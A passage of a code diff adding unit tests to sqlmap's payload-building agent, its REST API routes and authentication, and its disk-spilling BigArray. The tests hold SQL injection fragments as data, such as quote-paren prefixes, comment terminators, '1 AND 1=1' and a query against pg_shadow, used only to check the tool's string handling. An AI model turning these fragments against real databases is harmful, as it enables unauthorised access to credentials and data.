b=1") + self.assertIn("AND id>10", out, msg=out) + + def test_order_by_suffix_preserved(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t ORDER BY a") + # the genuine trailing ORDER BY is kept after the spliced WHERE + self.assertIn("WHERE id>10", out, msg=out) + # the ORDER BY must survive *after* the spliced WHERE clause; the + # substring check alone could pass even if the suffix were dropped. + self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) + + +class TestGetComment(unittest.TestCase): + def test_present(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") + + def test_absent_returns_empty(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict()), "") + + +class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): + def test_unpack_false_returns_input_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), + "SELECT a FROM t") + + def test_pgsql_unpack_uses_pipe_concat(self): + set_dbms(DBMS.PGSQL) + out = agent.concatQuery("SELECT usename FROM pg_shadow") + self.assertIn("||", out, msg=out) + self.assertIn(kb.chars.start, out, msg=out) + self.assertIn(kb.chars.stop, out, msg=out) + + +class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): + def test_origvalue_digit_inlined(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") + self.assertEqual(out, "x=42") + + def test_origvalue_nondigit_quoted(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") + self.assertIn("'abc'", out, msg=out) + + def test_original_marker_raw_substitution(self): + out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") + self.assertEqual(out, "p=raw") + + def test_space_replace_marker(self): + out = agent.cleanupPayload("a[SPACE_REPLACE]b") + self.assertEqual(out, "a%sb" % kb.chars.space) + + def test_non_string_returns_none(self): + self.assertIsNone(agent.cleanupPayload(None)) + + +class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): + def test_sleeptime_replaced_with_timesec(self): + out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) + self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) + self.assertNotIn(SLEEP_TIME_MARKER, out) + + def test_randnum_marker_substituted(self): + out = agent.adjustLateValues("v=[RANDNUM]") + self.assertNotIn("[RANDNUM]", out) + self.assertTrue(out.split("=")[1].isdigit(), msg=out) + + def test_bounded_base64_marker_encoded(self): + payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) + out = agent.adjustLateValues(payload) + # the marked region is base64-encoded and the markers are consumed + self.assertNotIn(BOUNDED_BASE64_MARKER, out) + self.assertEqual(out, "QUI=") + + def test_empty_payload_passthrough(self): + self.assertEqual(agent.adjustLateValues(""), "") + + +class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): + def test_select_top(self): + set_dbms(DBMS.MSSQL) + res = agent.getFields("SELECT TOP 1 name FROM sysobjects") + self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") + self.assertEqual(res[6], "name") + + def test_distinct(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT DISTINCT(name) FROM t") + self.assertEqual(res[6], "name") + + def test_function_is_single_element(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT COUNT(*) FROM t") + self.assertEqual(res[5], ["COUNT(*)"]) + + def test_no_from_keeps_whole_select_list(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT a,b,c") + self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") + self.assertEqual(res[5], ["a", "b", "c"]) + + +class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): + def test_prefix_with_explicit_prefix(self): + set_dbms(DBMS.MYSQL) + out = agent.prefixQuery("1=1", prefix="')") + self.assertIn("')", out, msg=out) + self.assertTrue(out.endswith("1=1"), msg=out) + + def test_prefix_group_by_clause_uses_prefix_verbatim(self): + set_dbms(DBMS.MYSQL) + # clause == [2] (GROUP BY / ORDER BY) => no trailing space added + out = agent.prefixQuery("1=1", prefix="X", clause=[2]) + self.assertEqual(out, "X1=1") + + def test_suffix_appends_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", comment="-- -") + self.assertTrue(out.startswith("1=1"), msg=out) + self.assertIn("-", out) + + def test_suffix_appends_suffix_no_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", suffix="')") + self.assertIn("')", out, msg=out) + + +class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): + def setUp(self): + DbmsStateMixin.setUp(self) + self._noCast = conf.noCast + + def tearDown(self): + conf.noCast = self._noCast + DbmsStateMixin.tearDown(self) + + def test_nocast_returns_field_unchanged(self): + set_dbms(DBMS.MYSQL) + conf.noCast = True + self.assertEqual(agent.nullAndCastField("colname"), "colname") + + def test_cast_present_when_nocast_off(self): + set_dbms(DBMS.MYSQL) + conf.noCast = False + out = agent.nullAndCastField("colname") + self.assertIn("CAST", out.upper(), msg=out) + self.assertIn("colname", out) + + +# --------------------------------------------------------------------------- # +# Pure agent helpers (formerly test_core_extra.py) +# --------------------------------------------------------------------------- # + +class TestAgentPure(unittest.TestCase): + """Pure agent.py methods independent of full injection state.""" + + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def tearDown(self): + set_dbms(None) + + def test_get_comment_present(self): + from lib.core.datatype import AttribDict + request = AttribDict() + request.comment = "-- foo" + self.assertEqual(self.agent.getComment(request), "-- foo") + + def test_get_comment_absent(self): + from lib.core.datatype import AttribDict + request = AttribDict() + self.assertEqual(self.agent.getComment(request), "") + + def test_add_payload_delimiters(self): + from lib.core.settings import PAYLOAD_DELIMITER + value = "1 AND 1=1" + result = self.agent.addPayloadDelimiters(value) + self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) + # falsy value returned unchanged + self.assertEqual(self.agent.addPayloadDelimiters(""), "") + + def test_remove_payload_delimiters_roundtrip(self): + self.assertEqual( + self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), + "1 AND 1=1", + ) + + def test_extract_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" + self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") + + def test_replace_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" + replaced = self.agent.replacePayload(wrapped, "NEW") + self.assertEqual(self.agent.extractPayload(replaced), "NEW") + # surrounding text preserved + self.assertTrue(replaced.startswith("prefix")) + self.assertTrue(replaced.endswith("suffix")) + + def test_simple_concatenate_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL concatenate query template is 'CONCAT(%s,%s)' + self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") + + def test_hex_convert_field_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL hex template is 'HEX(%s)' + self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") + + def test_get_fields_select_from(self): + set_dbms(DBMS.MYSQL) + result = self.agent.getFields("SELECT a, b FROM users") + fieldsToCastList = result[5] + fieldsToCastStr = result[6] + self.assertEqual(fieldsToCastStr, "a, b") + self.assertEqual(fieldsToCastList, ["a", "b"]) + + def test_get_fields_no_from(self): + set_dbms(DBMS.MYSQL) + # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list + result = self.agent.getFields("SELECT 1") + fieldsSelectFrom = result[0] + self.assertIsNone(fieldsSelectFrom) + self.assertEqual(result[6], "1") + + +class TestAgentWhereQuery(unittest.TestCase): + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def setUp(self): + self._old_dumpWhere = conf.dumpWhere + self._old_tbl = conf.tbl + conf.tbl = None + + def tearDown(self): + conf.dumpWhere = self._old_dumpWhere + conf.tbl = self._old_tbl + set_dbms(None) + + def test_no_dumpwhere_passthrough(self): + conf.dumpWhere = None + query = "SELECT a FROM t" + self.assertEqual(self.agent.whereQuery(query), query) + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # no existing WHERE -> appends ' WHERE id>0' + self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") + + def test_and_when_where_present(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # existing WHERE -> appended with AND + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t WHERE x=1"), + "SELECT a FROM t WHERE x=1 AND id>0", + ) + + def test_splices_before_order_by(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # WHERE must be spliced before the trailing ORDER BY suffix + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t ORDER BY a"), + "SELECT a FROM t WHERE id>0 ORDER BY a", + ) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 00000000000..4360c3e7058 --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,621 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the sqlmap REST API (lib/utils/api.py). + +Two complementary angles: + 1. Pure helpers / objects called directly (is_admin, validate_task_options, + the Database and Task classes, the StdDbOut/LogRecorder IPC writers). + 2. The bottle HTTP routes driven through the WSGI app via a minimal in-process + test client (no sockets, no network, no scan subprocess) - task lifecycle, + option get/set, scan status/data/log, admin list/flush, version, auth. + +The scan-data assembler/collector helpers (_storeData / _assembleData / +_sanitizeScanData / _cleanIdentifier / writeReportJson) are pinned separately in +test_report.py; here we focus on what that file does not exercise. +""" + +import io +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf +from lib.core.convert import encodeBase64 +from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE +from thirdparty.bottle.bottle import default_app + + +def _wsgi_call(method, path, body=None, headers=None, remote_addr="127.0.0.1"): + """ + Drive the module's bottle routes through the WSGI interface in-process. + Returns (status_code_int, parsed_json_or_None, raw_text). + """ + + app = default_app() + environ = { + "REQUEST_METHOD": method, + "PATH_INFO": path, + "SERVER_NAME": "localhost", + "SERVER_PORT": "80", + "REMOTE_ADDR": remote_addr, + "wsgi.input": io.BytesIO(), + "wsgi.errors": sys.stderr, + "wsgi.url_scheme": "http", + } + + if body is not None: + data = json.dumps(body).encode("utf-8") + environ["CONTENT_TYPE"] = "application/json" + environ["CONTENT_LENGTH"] = str(len(data)) + environ["wsgi.input"] = io.BytesIO(data) + + for key, value in (headers or {}).items(): + environ["HTTP_%s" % key.upper().replace("-", "_")] = value + + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["status"] = status + + chunks = app(environ, start_response) + raw = b"".join(chunks).decode("utf-8", "replace") + code = int(captured["status"].split(" ", 1)[0]) + + try: + parsed = json.loads(raw) + except ValueError: + parsed = None + + return code, parsed, raw + + +class _ApiServerCase(unittest.TestCase): + """ + Stands up just enough of the API server state (IPC database + DataStore globals) + to drive the routes, snapshotting and restoring every global it touches. + """ + + def setUp(self): + self._saved_batch = conf.batch + conf.batch = True + + # snapshot mutated globals + self._saved = { + "current_db": api.DataStore.current_db, + "tasks": api.DataStore.tasks, + "admin_token": api.DataStore.admin_token, + "username": api.DataStore.username, + "password": api.DataStore.password, + "filepath": api.Database.filepath, + } + + # fresh in-memory IPC database (same init the server() function performs) + self.db = api.Database(":memory:") + self.db.connect() + self.db.init() + + api.DataStore.current_db = self.db + api.DataStore.tasks = {} + api.DataStore.admin_token = "a" * 32 + api.DataStore.username = None + api.DataStore.password = None + api.Database.filepath = ":memory:" + + def tearDown(self): + try: + self.db.disconnect() + except Exception: + pass + + api.DataStore.current_db = self._saved["current_db"] + api.DataStore.tasks = self._saved["tasks"] + api.DataStore.admin_token = self._saved["admin_token"] + api.DataStore.username = self._saved["username"] + api.DataStore.password = self._saved["password"] + api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch + + def _new_task(self): + code, parsed, _ = _wsgi_call("GET", "/task/new") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + return parsed["taskid"] + + +# --------------------------------------------------------------------------- +# Pure helpers / objects +# --------------------------------------------------------------------------- + +class TestGenericHelpers(unittest.TestCase): + def setUp(self): + self._saved_token = api.DataStore.admin_token + + def tearDown(self): + api.DataStore.admin_token = self._saved_token + + def test_is_admin_constant_time_compare(self): + api.DataStore.admin_token = "deadbeef" + self.assertTrue(api.is_admin("deadbeef")) + self.assertFalse(api.is_admin("deadbeer")) + self.assertFalse(api.is_admin(None)) + self.assertFalse(api.is_admin("")) + + +class TestValidateTaskOptions(unittest.TestCase): + def setUp(self): + self._saved_tasks = api.DataStore.tasks + api.DataStore.tasks = {"t1": api.Task("t1", "127.0.0.1")} + + def tearDown(self): + api.DataStore.tasks = self._saved_tasks + + def test_non_dict_rejected(self): + msg = api.validate_task_options("t1", ["level"], "scan_start") + self.assertEqual(msg, "Invalid JSON options") + + def test_unsupported_option_rejected(self): + # reportJson is in RESTAPI_UNSUPPORTED_OPTIONS + msg = api.validate_task_options("t1", {"reportJson": "x.json"}, "scan_start") + self.assertIn("Unsupported option", msg) + self.assertIn("reportJson", msg) + + def test_readonly_option_rejected(self): + # taskid is in RESTAPI_READONLY_OPTIONS + msg = api.validate_task_options("t1", {"taskid": "haxx"}, "option_set") + self.assertIn("Unsupported option", msg) + self.assertIn("taskid", msg) + + def test_unknown_option_rejected(self): + msg = api.validate_task_options("t1", {"nosuchoption": 1}, "option_set") + self.assertIn("Unknown option", msg) + self.assertIn("nosuchoption", msg) + + def test_valid_options_accepted(self): + # a real, supported option returns None (no error message) + self.assertIsNone(api.validate_task_options("t1", {"level": 3, "risk": 2}, "scan_start")) + + +class TestDatabase(unittest.TestCase): + """The IPC Database wrapper: connect/init schema, execute SELECT vs DML, disconnect.""" + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("test") + self.db.init() + + def tearDown(self): + self.db.disconnect() + + def test_init_creates_expected_schema(self): + names = set(row[0] for row in self.db.execute("SELECT name FROM sqlite_master WHERE type='table'")) + self.assertTrue({"logs", "data", "errors"}.issubset(names)) + + def test_init_is_idempotent(self): + # "CREATE TABLE IF NOT EXISTS" - running init twice must not raise + self.db.init() + + def test_execute_select_returns_rows_dml_returns_none(self): + self.assertIsNone(self.db.execute("INSERT INTO errors VALUES(NULL, ?, ?)", ("t1", "boom"))) + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "boom")]) + + def test_disconnect_is_safe_without_connection(self): + fresh = api.Database(":memory:") # never connected + fresh.disconnect() # must not raise + + +class TestTask(unittest.TestCase): + """The Task object: option defaults, set/get/reset, and the no-process engine paths.""" + + def test_initialize_options_sets_api_markers(self): + t = api.Task("abc123", "10.0.0.1") + self.assertEqual(t.remote_addr, "10.0.0.1") + self.assertIs(t.options.api, True) + self.assertEqual(t.options.taskid, "abc123") + self.assertIs(t.options.batch, True) + self.assertIs(t.options.disableColoring, True) + self.assertIs(t.options.eta, False) + + def test_set_get_reset_options(self): + t = api.Task("abc123", "10.0.0.1") + original_level = t.get_option("level") + t.set_option("level", original_level + 4) + self.assertEqual(t.get_option("level"), original_level + 4) + t.reset_options() + self.assertEqual(t.get_option("level"), original_level) + + def test_get_options_returns_attribdict(self): + t = api.Task("abc123", "10.0.0.1") + opts = t.get_options() + self.assertIs(opts, t.options) + self.assertIn("level", opts) + + def test_engine_paths_without_process(self): + t = api.Task("abc123", "10.0.0.1") + self.assertIsNone(t.engine_process()) + self.assertIsNone(t.engine_get_id()) + self.assertIsNone(t.engine_get_returncode()) + self.assertFalse(t.engine_has_terminated()) + self.assertIsNone(t.engine_stop()) + self.assertIsNone(t.engine_kill()) + + +class TestStdDbOutAndLogRecorder(unittest.TestCase): + """ + StdDbOut and LogRecorder write engine output/logs into the IPC database + (conf.databaseCursor). Verify both write paths land the expected rows. + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved = { + "stdout": sys.stdout, + "stderr": sys.stderr, + "databaseCursor": conf.get("databaseCursor"), + "taskid": conf.get("taskid"), + "partRun": getattr(__import__("lib.core.data", fromlist=["kb"]).kb, "partRun", None), + } + conf.databaseCursor = self.db + conf.taskid = "t1" + + def tearDown(self): + sys.stdout = self._saved["stdout"] + sys.stderr = self._saved["stderr"] + conf.databaseCursor = self._saved["databaseCursor"] + conf.taskid = self._saved["taskid"] + self.db.disconnect() + + def test_stdout_write_stores_typed_data(self): + # StdDbOut hijacks sys.stdout in __init__; restore it immediately and call write() directly + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved["stdout"] + std.write("MySQL >= 5.0", status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.DBMS_FINGERPRINT) + rows = self.db.execute("SELECT taskid, status, content_type FROM data") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][2], CONTENT_TYPE.DBMS_FINGERPRINT) + # the helpers are noops but must not raise + std.flush(); std.close(); std.seek() + + def test_stderr_write_stores_error(self): + std = api.StdDbOut("t1", messagetype="stderr") + sys.stderr = self._saved["stderr"] + std.write("something failed") + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "something failed")]) + + def test_logrecorder_emit_stores_log(self): + import logging + rec = api.LogRecorder() + record = logging.LogRecord("sqlmap", logging.INFO, __file__, 1, "hello %s", ("world",), None) + rec.emit(record) + rows = self.db.execute("SELECT taskid, level, message FROM logs") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][1], "INFO") + self.assertEqual(rows[0][2], "hello world") + + +# --------------------------------------------------------------------------- +# HTTP routes (WSGI test client) +# --------------------------------------------------------------------------- + +class TestVersionRoute(_ApiServerCase): + def test_version(self): + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("version", parsed) + self.assertEqual(parsed["api_version"], 2) # MAJOR of RESTAPI_VERSION "2.0.0" + + def test_security_headers_applied(self): + app = default_app() + environ = { + "REQUEST_METHOD": "GET", "PATH_INFO": "/version", + "SERVER_NAME": "localhost", "SERVER_PORT": "80", "REMOTE_ADDR": "127.0.0.1", + "wsgi.input": io.BytesIO(), "wsgi.errors": sys.stderr, "wsgi.url_scheme": "http", + } + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["headers"] = dict(response_headers) + + b"".join(app(environ, start_response)) + headers = captured["headers"] + self.assertEqual(headers.get("X-Frame-Options"), "DENY") + self.assertEqual(headers.get("X-Content-Type-Options"), "nosniff") + self.assertIn("application/json", headers.get("Content-Type", "")) + + +class TestTaskLifecycle(_ApiServerCase): + def test_new_and_delete(self): + taskid = self._new_task() + self.assertIn(taskid, api.DataStore.tasks) + + code, parsed, _ = _wsgi_call("GET", "/task/%s/delete" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertNotIn(taskid, api.DataStore.tasks) + + def test_delete_unknown_task_404(self): + code, parsed, _ = _wsgi_call("GET", "/task/deadbeef/delete") + self.assertEqual(code, 404) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Non-existing task ID") + + +class TestOptionRoutes(_ApiServerCase): + def test_option_list(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/option/%s/list" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("level", parsed["options"]) + + def test_option_list_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/option/nope/list") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_then_get(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"level": 4, "risk": 3}) + self.assertTrue(parsed["success"]) + + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["level", "risk"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["options"], {"level": 4, "risk": 3}) + + def test_option_set_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/set", {"level": 1}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_rejects_unsupported(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"reportJson": "x"}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_option_get_unknown_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["nosuchoption"]) + self.assertFalse(parsed["success"]) + self.assertIn("Unknown option", parsed["message"]) + + def test_option_get_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/get", ["level"]) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + +class TestScanQueryRoutes(_ApiServerCase): + """status/data/log on a task that has never launched a subprocess (no scan started).""" + + def test_status_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/status" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["status"], "not running") + self.assertIsNone(parsed["returncode"]) + + def test_status_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/status") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_data_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + self.assertEqual(parsed["error"], []) + + def test_data_returns_stored_rows(self): + taskid = self._new_task() + # store a result row directly into the shared IPC db, then read it back via the route + api._storeData(self.db, taskid, "MySQL >= 5.0", CONTENT_STATUS.COMPLETE, CONTENT_TYPE.DBMS_FINGERPRINT) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(len(parsed["data"]), 1) + self.assertEqual(parsed["data"][0]["type_name"], "DBMS_FINGERPRINT") + self.assertEqual(parsed["data"][0]["value"], "MySQL >= 5.0") + + def test_data_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/data") + self.assertFalse(parsed["success"]) + + def test_log_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], []) + + def test_log_returns_stored_rows(self): + taskid = self._new_task() + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:00", "INFO", "started")) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], [{"time": "00:00:00", "level": "INFO", "message": "started"}]) + + def test_log_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log") + self.assertFalse(parsed["success"]) + + def test_log_limited_subset(self): + taskid = self._new_task() + for i in range(1, 4): + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:0%d" % i, "INFO", "m%d" % i)) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/1/2" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual([m["message"] for m in parsed["log"]], ["m1", "m2"]) + + def test_log_limited_bad_range(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/5/2" % taskid) + self.assertFalse(parsed["success"]) + self.assertIn("must be digits", parsed["message"]) + + def test_log_limited_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log/1/2") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_stop_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/stop" % taskid) + self.assertFalse(parsed["success"]) + + def test_scan_kill_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/kill" % taskid) + self.assertFalse(parsed["success"]) + + +class TestScanStart(_ApiServerCase): + """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" + + def test_scan_start_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/scan/nope/start", {}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_start_rejects_unsupported_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"wizard": True}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_scan_start_launches_engine(self): + taskid = self._new_task() + task = api.DataStore.tasks[taskid] + + calls = {"started": False} + + class _FakeProc(object): + pid = 4242 + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self): + return 0 + + def fake_engine_start(): + calls["started"] = True + task.process = _FakeProc() + + original = task.engine_start + task.engine_start = fake_engine_start + try: + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"url": "http://t/?id=1"}) + finally: + task.engine_start = original + + self.assertTrue(calls["started"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["engineid"], 4242) + # the provided option was applied to the task + self.assertEqual(task.get_option("url"), "http://t/?id=1") + + +class TestAdminRoutes(_ApiServerCase): + def test_admin_list_with_token(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/%s/list" % api.DataStore.admin_token) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + self.assertEqual(parsed["tasks_num"], 1) + + def test_admin_list_same_remote_addr_without_token(self): + # /admin/list (no token) sees only tasks from the requesting remote_addr + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="127.0.0.1") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + + def test_admin_list_other_remote_addr_excluded(self): + self._new_task() # created from 127.0.0.1 + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="10.9.9.9") + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["tasks_num"], 0) + + def test_admin_flush_with_token(self): + self._new_task() + self._new_task() + self.assertEqual(len(api.DataStore.tasks), 2) + code, parsed, _ = _wsgi_call("GET", "/admin/%s/flush" % api.DataStore.admin_token) + self.assertTrue(parsed["success"]) + self.assertEqual(len(api.DataStore.tasks), 0) + + def test_admin_flush_only_own_remote_addr(self): + # task from .1, flush requested by .2 (no token) -> task survives + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/flush", remote_addr="10.0.0.2") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, api.DataStore.tasks) + + +class TestAuthentication(_ApiServerCase): + """check_authentication before_request hook (HTTP Basic) when credentials are configured.""" + + def test_no_credentials_allows_access(self): + api.DataStore.username = None + api.DataStore.password = None + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_missing_auth_header_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + code, _, raw = _wsgi_call("GET", "/version") + self.assertEqual(code, 401) + + def test_wrong_credentials_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:wrong", binary=False) + code, _, raw = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + def test_correct_credentials_allowed(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:pass", binary=False) + code, parsed, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_malformed_basic_credentials_denied(self): + # base64 of a string without ':' separator -> denied + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("nocolon", binary=False) + code, _, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py new file mode 100644 index 00000000000..9d65d8e97fe --- /dev/null +++ b/tests/test_bigarray.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +BigArray disk-spill semantics (lib/core/bigarray.py). + +BigArray is the structure that lets sqlmap dump tables far larger than RAM: once +the in-memory chunk exceeds chunk_size it is pickled to a temp file and a new +chunk starts. The tricky, easy-to-break part is that indexing / iteration / +pop / pickling must stay correct ACROSS the in-memory<->on-disk boundary. + +These force a spill with a tiny chunk_size and assert the data survives intact. +""" + +import os +import pickle +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray + +N = 5000 + + +_SPILLED = [] + +def _make_spilled(): + # tiny chunk_size guarantees many on-disk chunks for N items + ba = BigArray(chunk_size=1024) + for i in range(N): + ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) + return ba + + +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del 